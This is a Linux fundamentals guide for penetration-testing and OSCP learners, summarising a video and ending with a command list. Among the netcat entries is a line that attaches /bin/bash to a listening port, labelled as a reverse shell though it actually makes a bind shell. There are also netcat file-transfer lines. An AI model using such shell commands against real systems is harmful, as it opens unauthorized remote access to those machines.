Premise

In this guide, I’ll walk you through the essentials of Linux, specifically tailored for those interested in offensive security and penetration testing. We’ll cover everything from basic commands to more advanced topics like networking and process management.

Skills Learned

  • OSCP
  • Linux
  • Penetration Testing

Getting Started with the Basics

First, let’s get comfortable with the command line. I start by showing you how to navigate the file system. You’ll learn how to list files and directories, find out where you are in the file system, and move between different directories. I also explain the difference between absolute and relative paths, which is a fundamental concept in Linux. If you ever need more information about a command, I show you how to use the man command to access detailed documentation.

Managing Users and Files

Next, I dive into user and file management. I demonstrate how to create new user accounts, view existing ones, and grant users administrative privileges using the sudo command. You’ll also learn how to switch between different user accounts.

When it comes to files and directories, I cover all the essential operations. I’ll show you how to create, remove, copy, and move both files and directories. I also explain how to add content to files and how to view their contents.

Understanding Permissions and Text Editors

File permissions are a crucial part of Linux security, so I dedicate a section to explaining how they work. You’ll learn how to view the permissions of a file and how to change them using the chmod command.

I also introduce you to two of the most common text editors in Linux: Nano and VI. I’ll walk you through the basics of using each editor, including how to open files, save your changes, and search for text.

Searching, Packages, and Processes

I then move on to more advanced topics, starting with how to search for text within files using the grep and sed commands. These are powerful tools that will save you a lot of time when you’re working with large files.

Next, I cover package management. You’ll learn how to install and upgrade software packages using the apt-get command. I also show you how to start and stop services, which are programs that run in the background.

Networking and Scheduled Tasks

In the networking section, I show you how to view your network configuration, find your default gateway, and set a static IP address. You’ll also learn how to view active network connections and use the versatile netcat tool for various networking tasks, such as checking for open ports and transferring files.

Finally, I introduce you to cron jobs, which allow you to schedule tasks to run at specific times. I explain how to use the built-in cron directories and how to create your own custom cron jobs using the crontab command.

Technical Commands

Here are the technical commands I used in the video:

  • ls: List files and directories.
  • pwd: Print the current working directory.
  • cd: Change directory.
  • man: Display the manual for a command.
  • ls -l: List files and directories with detailed information.
  • adduser: Add a new user.
  • cat /etc/passwd: Display user account information.
  • adduser <username> sudo: Add a user to the sudo group.
  • su <username>: Switch to another user account.
  • touch <filename>: Create an empty file.
  • echo "text" > <filename>: Create a file with content, overwriting existing content.
  • mkdir <directory_name>: Create a new directory.
  • rm <filename>: Remove a file.
  • rm -r <directory_name>: Remove a directory and its contents.
  • cp <source> <destination>: Copy a file.
  • mv <source> <destination>: Move or rename a file.
  • echo "text" >> <filename>: Append text to a file.
  • cat <filename>: Display the content of a file.
  • chmod <permissions> <filename>: Change the permissions of a file.
  • nano <filename>: Open a file in the Nano text editor.
  • vi <filename>: Open a file in the VI text editor.
  • grep <pattern> <filename>: Search for a pattern in a file.
  • sed 's/<old>/<new>/g' <filename>: Replace all occurrences of a string in a file.
  • sudo apt-get install <package_name>: Install a software package.
  • sudo apt-get upgrade: Upgrade all installed packages.
  • service <service_name> start: Start a service.
  • service <service_name> stop: Stop a service.
  • ifconfig: Display network interface configuration.
  • route: Display the IP routing table.
  • netstat: Display network connections.
  • nc -h: Display help for the netcat command.
  • nc -zv <ip_address> <port>: Check if a port is open.
  • nc -lvp <port>: Listen for incoming connections on a port.
  • nc -lvp <port> -e /bin/bash: Create a reverse shell.
  • nc -lvp <port> > <filename>: Receive a file.
  • nc <ip_address> <port> < <filename>: Send a file.
  • crontab -e: Edit the current user’s crontab file.

Video Walk-through

About the Author

Mastermind Study Notes is a group of talented authors and writers who are experienced and well-versed across different fields. The group is led by, Motasem Hamdan, who is a Cybersecurity content creator and YouTuber.

View Articles